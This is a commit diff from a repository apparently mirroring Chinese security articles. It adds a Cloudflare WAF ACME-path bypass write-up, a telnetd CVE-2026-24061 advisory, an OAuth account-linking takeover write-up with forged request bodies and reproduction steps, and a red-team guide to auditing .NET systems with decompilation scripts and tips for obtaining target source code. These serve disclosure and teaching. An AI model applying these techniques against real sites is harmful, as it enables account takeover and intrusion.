mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
最新高危漏洞威胁情报合集 (2026-01-21)、攻防技巧|快速高效挖掘.net系统漏洞、Cloudflare WAF 零日漏洞:可访问全球任何主机、【高危漏洞预警】GNU InetUtils telnetd远程认证绕过漏洞CVE-2026-24061、缓解Web应用程序漏洞从了解OWASP Top 10开始、常见OAuth 漏洞:未验证token、
This commit is contained in:
1 parent
d25ccfc7dc
commit
d3a5e117d5
7 files changed
+858
-26
No files matched your search
@@ -16939,5 +16939,11 @@
|
||||
"https://mp.weixin.qq.com/s/P-zBho0S5gxUgX8CVjTVMw": "Cloudflare 修复可绕过 WAF 访问源服务器的 ACM 验证漏洞",
|
||||
"https://mp.weixin.qq.com/s/dhbggM7euhNdc_AHz3sjww": "【安全圈】WordPress 插件漏洞导致 10 万余个网站面临权限提升攻击风险",
|
||||
"https://mp.weixin.qq.com/s/4F2tY7AP-Qyi5Tak7lPVeg": "未来已来:漏洞挖掘智能体VulnAgent 发现两个Suricata 高危漏洞,并获官方致谢!",
|
||||
"https://mp.weixin.qq.com/s/G5gYUhFb9FpBIsyA8-WWiA": "Anthropic官方Git MCP服务器曝链式漏洞,可致文件访问与代码执行"
|
||||
"https://mp.weixin.qq.com/s/G5gYUhFb9FpBIsyA8-WWiA": "Anthropic官方Git MCP服务器曝链式漏洞,可致文件访问与代码执行",
|
||||
"https://mp.weixin.qq.com/s/hVSCK-VKXjF3gexImuTLjA": "最新高危漏洞威胁情报合集 (2026-01-21)",
|
||||
"https://mp.weixin.qq.com/s/cRPHl0FEL3kDkyQZ7GYo7g": "攻防技巧|快速高效挖掘.net系统漏洞",
|
||||
"https://mp.weixin.qq.com/s/ZORMIVuNYgYPFZbxshGw7Q": "Cloudflare WAF 零日漏洞:可访问全球任何主机",
|
||||
"https://mp.weixin.qq.com/s/678gSaJ-b3f2AgKK1A813Q": "【高危漏洞预警】GNU InetUtils telnetd远程认证绕过漏洞CVE-2026-24061",
|
||||
"https://mp.weixin.qq.com/s/-fxvgoVz5GQU6mOzozYG6w": "缓解Web应用程序漏洞从了解OWASP Top 10开始",
|
||||
"https://mp.weixin.qq.com/s/BMcWmEx-eOHcnxLR7adA9g": "常见OAuth 漏洞:未验证token"
|
||||
}
|
||||
@@ -1,12 +1,12 @@
|
||||
# Cloudflare WAF 零日漏洞:可访问全球任何主机
|
||||
助力行业的
|
||||
助力行业的 李白你好 2026-01-21 00:02
|
||||
点击关注👉
|
||||
点击关注👉 马哥网络安全 2026-01-21 13:02
|
||||
|
||||
## 前言
|
||||
|
||||
**Cloudflare 的 Web 应用程序防火墙 (WAF) 中存在一个严重的零日漏洞,攻击者可以利用该漏洞绕过安全控制,并通过证书验证路径直接访问受保护的源服务器。**
|
||||
|
||||

|
||||

|
||||
|
||||
或者,当 .well-known 远远超出 WAF 的范围。几乎所有现代网站上都存在一个专为机器而非人类设计的 URL。它位于 /.well-known/acme-challenge/
|
||||
下,在证书颁发期间的几秒钟内,一个机器人会访问它来检查你是否真正控制该域名。这个访问本应是平淡无奇的,一项例行无声的任务。但在这种情况下,这个安静的路径变得非常喧闹!
|
||||
@@ -32,29 +32,29 @@ ACME 是证书颁发机构验证域名控制的协议。在 HTTP-01 方法中,
|
||||
以下是演示环境的代表性截图。第一张图片显示正常请求在 Cloudflare 的阻塞页面结束。第二张显示我们用于阻塞演示中 cf- 主机名的自定义规则。接下来的三张显示每个演示主机在请求针对 ACME 路径时返回源站生成的 404。
|
||||
#### 阻塞页面(正常请求)
|
||||
|
||||

|
||||

|
||||
#### 自定义规则 - 阻塞 cf-* 主机名
|
||||
|
||||
在演示中,我们创建了一个规则,阻塞任何包含 cf- 的主机名。在生产环境中,许多团队阻塞公共互联网,只允许公司 VPN 出口。此规则模拟了演示的态势。
|
||||
|
||||

|
||||

|
||||
#### 源站 404 (Next.js)
|
||||
|
||||

|
||||

|
||||
#### 源站 404 (Spring)
|
||||
|
||||

|
||||

|
||||
#### 源站 404 (PHP)
|
||||
|
||||

|
||||

|
||||
## 我们如何获得稳定的挑战令牌
|
||||
|
||||
为了可重复的演示,我们想要一个不会在中途消失的挑战令牌。Cloudflare 的 SSL/TLS 自定义主机名功能允许你管理 CNAME 到你的域名的第三方主机名和证书。我们添加了一个名为 cf-well-known.fearsoff.org
|
||||
的自定义主机名,并明确选择了 HTTP 验证。下面的截图显示了添加流程和结果的待验证状态。
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
我们故意没有为 cf-well-known.fearsoff.org
|
||||
创建 DNS 记录,因此颁发保持无限期挂起。在挂起状态下,Cloudflare 会显示验证机器人最终会请求的 HTTP-01 URL,例如:
|
||||
@@ -75,11 +75,11 @@ WAF 控制旨在成为前门。当单个维护路径绕过该门时,“内部
|
||||
),请求可以落在 **/actuator/env**
|
||||
上并返回进程环境和配置。这些数据通常包括敏感值——数据库 URL、API 令牌、云密钥——它实质上提高了源站中任何错误的爆炸半径。
|
||||
|
||||

|
||||

|
||||
|
||||
服务器端渲染框架通常将服务器派生的值发送到客户端以水合页面。当 WAF 拥有前门时,这是没问题的。当源站直接响应时,同一页面可以暴露从未打算从公共互联网可达的操作细节。
|
||||
|
||||

|
||||

|
||||
#### PHP 路由
|
||||
|
||||
许多 PHP 应用程序通过 **index.php**
|
||||
@@ -87,9 +87,9 @@ WAF 控制旨在成为前门。当单个维护路径绕过该门时,“内部
|
||||
就足以证明影响。在我们的演示中,即使是 404 流程也通过 **index.php**
|
||||
路由,这就是为什么一旦源站开始直接说话,它就会暴露额外页面。
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
这些演示是后果,而不是原因。根问题是特殊路径上的 WAF 决策。一旦门打开,源站内任何脆弱的东西突然就只需一个请求。
|
||||
## 不只是 404s - 账户 WAF 规则被忽略
|
||||
@@ -128,14 +128,45 @@ WAF 控制旨在成为前门。当单个维护路径绕过该门时,“内部
|
||||
最危险的 bug 往往从例行细节开始。证书机器人的通道绝不应成为侧门。
|
||||
|
||||
参考链接:https://fearsoff.org/research/cloudflare-acme
|
||||
## 网络安全情报攻防站
|
||||
|
||||
**www.libaisec.com**
|
||||
文章内容转自李白你好,侵删
|
||||
|
||||

|
||||
|
||||
|
||||
**今日福利**
|
||||
|
||||
为了帮助大家入门网安,给大家推荐一份**《新手Web安全入门到精通》**
|
||||
,共474页,包括**代码审计、web漏洞、靶场实例分析、信息收集、渗透思路**
|
||||
等,将Web安全攻防知识点一网打尽。
|
||||
|
||||
代码配图,简单明了,攻防思路清晰透彻,关键是里面还配有多张思维导图,通俗易懂,实用性非常强,很适合新手学习参考~
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
以上资料获取请扫码
|
||||
|
||||

|
||||
|
||||
识别上方二维码
|
||||
|
||||
备注:
|
||||
**web安全入门到精通**
|
||||
|
||||
100%免费领取
|
||||
|
||||
(是扫码领取,不是在公众号后台回复,别看错了哦)
|
||||
|
||||
|
||||
综合性的技术交流与资源共享社区
|
||||
|
||||
专注于红蓝对抗、攻防渗透、威胁情报、数据泄露
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
# 【高危漏洞预警】GNU InetUtils telnetd远程认证绕过漏洞CVE-2026-24061
|
||||
cexlife
|
||||
cexlife 飓风网络安全 2026-01-21 14:23
|
||||
|
||||

|
||||
|
||||
漏洞描述:
|
||||
|
||||
该漏洞存在于tеlnеtd服务端1.9.3-2.7版本中,tеlnеtd在调用系统/uѕr/bin/lоɡin程序时,未对从客户端USER环境变量传入的用户名做过滤,直接拼接到lоɡin命令行,远程攻击者可利用该缺陷,在无需任何口令的情况下直接获取目标主机的rооt ѕhеll造成完全控制权泄露、敏感信息被窃取或进一步横向移动,由于tеlnеt协议本身明文传输,且该漏洞可在默认配置触发危害程度极高
|
||||
|
||||
攻击场景:
|
||||
|
||||
攻击者通过Telnet协议连接目标系统(默认监听23端口)在连接过程中利用恶意构造的USER环境变量,将未过滤的用户名直接拼接到/usr/bin/login命令行中执行,从而绕过认证机制无需密码即可获取root shell
|
||||
|
||||
影响产品:
|
||||
|
||||
1.9.3 <= GNU InetUtils <= 2.7
|
||||
|
||||
及时更新tеlnеtd到2.8及以上版本
|
||||
|
||||
建议措施:
|
||||
|
||||
立即升级:将 telnetd 服务升级至 2.8 及以上版本,彻底修复该漏洞
|
||||
|
||||
禁用Telnet:建议在生产环境中彻底禁用 Telnet 服务,改用 SSH 协议进行远程管理,以避免明文传输与协议层面的安全缺陷
|
||||
|
||||
端口管控:通过防火墙策略限制 23 端口的外部访问,仅允许可信 IP 访问,降低暴露面
|
||||
|
||||
日志监控:加强对 /var/log/auth.log 或类似日志文件的监控,关注异常的 login 命令调用行为,如包含非标准用户名或特殊字符的命令行
|
||||
|
||||
资产普查:对全网资产进行排查,识别是否存在运行旧版 telnetd 的设备,特别是工业控制系统、老旧服务器或嵌入式设备
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,205 @@
|
||||
# 常见OAuth 漏洞:未验证token
|
||||
原创 Pwn1
|
||||
Pwn1 漏洞集萃 2026-01-21 14:38
|
||||
|
||||
|
||||
|
||||
> **免责声明**
|
||||
|
||||
本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1.
|
||||
|
||||
1.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr><td style="padding:20px;background:#fdfdfd;border:1px solid #e8e8e8;border-radius:14px;font-size:15px;background-image: repeating-linear-gradient(45deg, #fafafa, #fafafa 8px, #f5f5f5 8px, #f5f5f5 16px);"><p><span leaf="">原文链接</span></p><section><span leaf=""> </span><span leaf="">https://brbr0s.medium.com/broken-oauth-linking-94308b7d423e</span></section></td></tr></tbody></table>
|
||||
|
||||
|
||||
|
||||
目标网站存在一个 **OAuth 链接功能**
|
||||
,目标网站主要功能包括采购和运输流程。
|
||||
|
||||
在针对目标搜集信息的时候发现其具有连接到 **Facebook**
|
||||
这一功能;该功能主要是将用户的帐户与提供的 **Facebook**
|
||||
帐户关联,使用户无需输入 email:passwor
|
||||
。
|
||||
|
||||
随后运行该功能并且使用 **Burp**
|
||||
抓包,发现了请求如下:
|
||||
```
|
||||
{"facebookId":"122109215XXXXXXXXX","shortTermAccessToken":"access_token"}
|
||||
```
|
||||
|
||||
这是 OAuth 机制的一种,通过将用户的 **Facebook**
|
||||
个人资料与用户在另一个应用程序上的帐户关联起来的方式。该应用程序会向 **Facebook**
|
||||
请求用户的唯一 facebookId
|
||||
和一个特殊的临时短期 shortTermAccessToken
|
||||
。
|
||||
|
||||
这些信息构成 key:token
|
||||
对,用于验证用户的身份,从而允许应用程序连接到用户的 **Facebook**
|
||||
个人资料。
|
||||
|
||||
而这个 facebookId
|
||||
是**公开**
|
||||
的,并且在各种 **Facebook**
|
||||
集成平台上都很常见,因此相对容易获取。
|
||||
|
||||
通过分析流量发现中间可能没有对 shortTermAccessToken
|
||||
进行验证之后,尝试修改 shortTermAccessToken
|
||||
:
|
||||
```
|
||||
{"facebookId":"122109215XXXXXXXXX","shortTermAccessToken":"dummy"}
|
||||
```
|
||||
|
||||
再次发送修改后的请求发现响应 **200**
|
||||
。
|
||||
|
||||
即该应用程序**根本没有**
|
||||
将 shortTermAccessToken
|
||||
令牌与提供的 facebookId
|
||||
进行验证。
|
||||
|
||||
这个漏洞就类似于 **只使用受害者的电子邮件地址就能登录网站,而无需密码**
|
||||
。
|
||||
|
||||
这意味着可以利用受害者的 **Facebook**facebookId
|
||||
帐户与攻击者自己的帐户关联起来,当受害者尝试使用“**使用 Facebook 登录**
|
||||
”登录时,其将被登录到**攻击者控制的帐户**
|
||||
。
|
||||
|
||||
通过再次创建一个新的账号按照上述提到的再次操作:
|
||||
```
|
||||
{"facebookId":"122107214XXXXXXXXX","shortTermAccessToken":"dummy"}
|
||||
```
|
||||
|
||||
响应如下:
|
||||
```
|
||||
200 OK
|
||||
```
|
||||
|
||||
随机发现,即使 **Facebook**
|
||||
帐户已经与其他用户帐户关联,执行此操作后,该网站也会将受害者的 **Facebook**
|
||||
帐户与其帐户**解除关联**
|
||||
,并将其与攻击者的帐户**关联**
|
||||
(最新创建的的一个平台用户)。
|
||||
# 重现步骤:
|
||||
1. 攻击者使用邮箱/密码创建一个普通账户。
|
||||
|
||||
1. 攻击者拦截了 **Facebook**
|
||||
链接请求。
|
||||
|
||||
1. 将 facebookId
|
||||
替换为已知的受害者 ID(该 ID 已公开)。
|
||||
|
||||
1. 发送带有 payload
|
||||
的请求。
|
||||
|
||||
1. **Facebook ID**
|
||||
与受害者的原始帐户解除关联,并绑定到攻击者的帐户。
|
||||
|
||||
1. 受害者通过 **Facebook**
|
||||
正常登录 -> 却被**重定向到攻击者的账户**
|
||||
。
|
||||
|
||||
# 影响
|
||||
|
||||
当受害者像往常一样使用 **Facebook OAuth**
|
||||
登录时,他们实际上登录的是攻击者的帐户,因为该 **Facebook ID**
|
||||
现在已与攻击者的帐户关联。
|
||||
- 攻击者可以预先填写其账户信息,例如:**他们自己的收货地址**
|
||||
。
|
||||
|
||||
- 受害者执行的任何操作(例如**下单**
|
||||
或**添加银行信息**
|
||||
)都会保存到攻击者的帐户中,而不是他们自己的帐户中。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
觉得本文内容对您有启发或帮助?
|
||||
|
||||
点个**关注➕**
|
||||
,获取更多深度分析与前沿资讯!
|
||||
|
||||
|
||||
👉 往期精选
|
||||
|
||||
[信息收集最强OSINT姿势:Google一搜,全球程序员的密码、API Key、邮箱全裸奔](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247484686&idx=1&sn=1f2d389d33dcfea473656e96ceb7a0ea&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[API 渗透实战:从 JSON 响应倒推隐藏的高危路由](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247484828&idx=1&sn=376a99fecd6210283cc43c2a79633b26&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【漏洞挖掘Tips】关于头像上传存储在s3的漏洞挖掘方法](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247484415&idx=1&sn=147dee8beef8b2411b98e2fc7e6da691&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,458 @@
|
||||
# 攻防技巧|快速高效挖掘.net系统漏洞
|
||||
Z2O安全攻防 2026-01-21 14:23
|
||||
|
||||
### 在红队攻防对抗中,.NET系统是出现频次比较高,.NET系统由于其架构特性,通常会将业务逻辑封装在DLL程序集中,通过ASPX/ASHX等页面文件进行调用。这种架构使得我们能够通过反编译技术快速还原源代码,结合静态代码审计和动态测试,快速定位SQL注入、命令执行、文件上传、反序列化等常见高危漏洞。本文将围绕获取源码、反编译、漏洞快速定位、绕过技巧和实战案例来帮助师傅们快速在红队场景中挖掘0day
|
||||
### 源码获取
|
||||
|
||||
凌风云网盘
|
||||
|
||||
https://www.lingfengyun.com/
|
||||
|
||||

|
||||
|
||||
闲鱼购买
|
||||
|
||||

|
||||
|
||||
|
||||
指纹提取旁站扫描备份文件
|
||||
|
||||
指纹提取 body=”xxxx” + 压缩文件目录扫描 (指定文件名
|
||||
www.zip)
|
||||
|
||||

|
||||
### 反编译dll+去混淆
|
||||
|
||||
反编译 / 静态查看:ILSpy、dnSpy、dotPeek
|
||||
|
||||
dnSpy单个打开并导出到工程
|
||||
|
||||

|
||||
|
||||
使用dnSpy批量打开
|
||||
:
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">File -> Open -> 选择整个 bin 目录</span><span leaf=""><br/></span><span leaf="">dnSpy会自动加载所有程序集</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
使用ILSpy命令行
|
||||
:
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf=""># 安装 ilspycmd</span><span leaf=""><br/></span><span leaf="">dotnet tool install ilspycmd -g</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""># 反编译整个目录</span><span leaf=""><br/></span><span leaf="">ilspycmd -p -o output_dir .\bin\*.dll</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""># 反编译到单个文件</span><span leaf=""><br/></span><span leaf="">ilspycmd -p -o output.cs .\bin\YourApp.dll</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
使用脚本批量反编译
|
||||
:
|
||||
|
||||
把下面的代码保存为bat文件,放到bin目录下,该bat脚本会在每个DLL所在目录下创建一个与 DLL 同名的文件夹
|
||||
|
||||
(例如C:\xxx\lib\test.dll
|
||||
→C:\xxx\lib\test\
|
||||
),并将ilspycmd
|
||||
的输出写入该文件夹
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">@echo off</span><span leaf=""><br/></span><span leaf="">chcp 65001</span><span leaf=""><br/></span><span leaf="">setlocal enabledelayedexpansion</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">REM 从当前目录递归查找所有 dll</span><span leaf=""><br/></span><span leaf="">for /R %%F in (*.dll) do (</span><span leaf=""><br/></span><span leaf=""> REM %%F = 完整路径(含文件名和扩展名)</span><span leaf=""><br/></span><span leaf=""> set "dll_path=%%F"</span><span leaf=""><br/></span><span leaf=""> set "dll_name=%%~nF"</span><span leaf=""><br/></span><span leaf=""> set "dll_dir=%%~dpF"</span><span leaf=""><br/></span><span leaf=""> set "out_dir=%%~dpF%%~nF"</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> echo 正在导出 "%%F" 到 "!out_dir!\ ..."</span><span leaf=""><br/></span><span leaf=""> if not exist "!out_dir!\" mkdir "!out_dir!"</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> ilspycmd -p -o "!out_dir!" "%%F"</span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">echo 全部完成!</span><span leaf=""><br/></span><span leaf="">pause</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
去混淆
|
||||
: 混淆后的代码可能会出现类似的片段:
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">private string \u0001;</span><span leaf=""><br/></span><span leaf="">private void \u0002(string \u0003)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> if (this.\u0001 == \u0003)</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></td></tr></tbody></table>
|
||||
|
||||

|
||||
|
||||
|
||||
处理混淆代码
|
||||
: 使用 de4dot 去混淆,下载程序添加至环境变量
|
||||
|
||||
https://github.com/0xd4d/de4dot
|
||||
|
||||
https://github.com/ViRb3/de4dot-cex
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">de4dot.exe source.dll -o Remove_obfuscated.dll</span><span leaf=""><br/></span><span leaf="">de4dot.exe -r D:\input -ru -ro D:\output</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
单个反编译太慢,我们可以使用命令或脚本进行快速批量去混淆
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">#!/usr/bin/env python3</span><span leaf=""><br/></span><span leaf="">import os</span><span leaf=""><br/></span><span leaf="">import subprocess</span><span leaf=""><br/></span><span leaf="">import shutil</span><span leaf=""><br/></span><span leaf="">from pathlib import Path</span><span leaf=""><br/></span><span leaf="">import time</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">def main():</span><span leaf=""><br/></span><span leaf=""> print("🔧 快速de4dot批量反混淆工具")</span><span leaf=""><br/></span><span leaf=""> print("=" * 40)</span><span leaf=""><br/></span><span leaf=""> try:</span><span leaf=""><br/></span><span leaf=""> result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5)</span><span leaf=""><br/></span><span leaf=""> if result.returncode != 0:</span><span leaf=""><br/></span><span leaf=""> raise Exception("de4dot命令执行失败")</span><span leaf=""><br/></span><span leaf=""> print("✅ de4dot全局命令检查通过")</span><span leaf=""><br/></span><span leaf=""> except Exception as e:</span><span leaf=""><br/></span><span leaf=""> print(f"❌ de4dot全局命令不可用: {e}")</span><span leaf=""><br/></span><span leaf=""> return</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> current_dir = Path(".")</span><span leaf=""><br/></span><span leaf=""> dll_files = []</span><span leaf=""><br/></span><span leaf=""> for pattern in ["*.dll", "*.exe"]:</span><span leaf=""><br/></span><span leaf=""> dll_files.extend(current_dir.glob(pattern))</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> exclude_patterns = [</span><span leaf=""><br/></span><span leaf=""> "System.", "Microsoft.", "Newtonsoft.", "EntityFramework",</span><span leaf=""><br/></span><span leaf=""> "Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp",</span><span leaf=""><br/></span><span leaf=""> "StackExchange.", "Thinktecture.", "BouncyCastle"</span><span leaf=""><br/></span><span leaf=""> ]</span><span leaf=""><br/></span><span leaf=""> filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)]</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> if not filtered_files:</span><span leaf=""><br/></span><span leaf=""> print("❌ 当前目录没有找到需要处理的DLL文件")</span><span leaf=""><br/></span><span leaf=""> return</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> print(f"📁 找到 {len(filtered_files)} 个文件需要处理:")</span><span leaf=""><br/></span><span leaf=""> for f in filtered_files:</span><span leaf=""><br/></span><span leaf=""> print(f" - {f.name}")</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> output_dir = Path("deobfuscated")</span><span leaf=""><br/></span><span leaf=""> output_dir.mkdir(exist_ok=True)</span><span leaf=""><br/></span><span leaf=""> print(f"\n🚀 开始处理...")</span><span leaf=""><br/></span><span leaf=""> print(f"输出目录: {output_dir.absolute()}")</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> success_count = 0</span><span leaf=""><br/></span><span leaf=""> start_time = time.time()</span><span leaf=""><br/></span><span leaf=""> for i, dll_file in enumerate(filtered_files, 1):</span><span leaf=""><br/></span><span leaf=""> print(f"\n[{i}/{len(filtered_files)}] 🔄 处理: {dll_file.name}")</span><span leaf=""><br/></span><span leaf=""> try:</span><span leaf=""><br/></span><span leaf=""> output_subdir = output_dir / dll_file.stem</span><span leaf=""><br/></span><span leaf=""> output_subdir.mkdir(exist_ok=True)</span><span leaf=""><br/></span><span leaf=""> cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)]</span><span leaf=""><br/></span><span leaf=""> print(f" 执行: {' '.join(cmd)}")</span><span leaf=""><br/></span><span leaf=""> result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)</span><span leaf=""><br/></span><span leaf=""> if result.returncode == 0:</span><span leaf=""><br/></spLine truncated
|
||||
|
||||

|
||||
|
||||
|
||||
去混淆前后对比
|
||||
|
||||

|
||||
|
||||
### ashx和dll映射关系
|
||||
|
||||
如AjaxUpload.aspx
|
||||
,逻辑代码在AjaxUpload.aspx.cs
|
||||
,页面会继承M_Main.AjaxUpload
|
||||
类,并自动绑定事件
|
||||
|
||||

|
||||
|
||||
这时候我们反编译M_Main.dll
|
||||
,并找到对应的AjaxUpload
|
||||
类,便可以开始愉快的代码审计了
|
||||
|
||||

|
||||
### 常见漏洞sink点
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">漏洞类型</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">漏洞Sink点</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">审计描述</span></p></td></tr><tr style="height: 33px;"><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">SQL 注入</span></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">ExecuteNonQuery()</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">ExecuteReader()</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">ExecuteScalar()</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">SqlDataAdapter.Fill()</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">ExecuteSqlCommand()</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">ExecuteSqlRaw()</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">CreateSQLQuery()</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">connection.Query()</span></code></p></td><td data-colwidth="250" width="250" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">检查点</span><span leaf="">:查找 SQL 语句是否通过字符串拼接或格式化(</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">+</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">String.Format</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">,</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">$""</span></code></p><p style="margin: 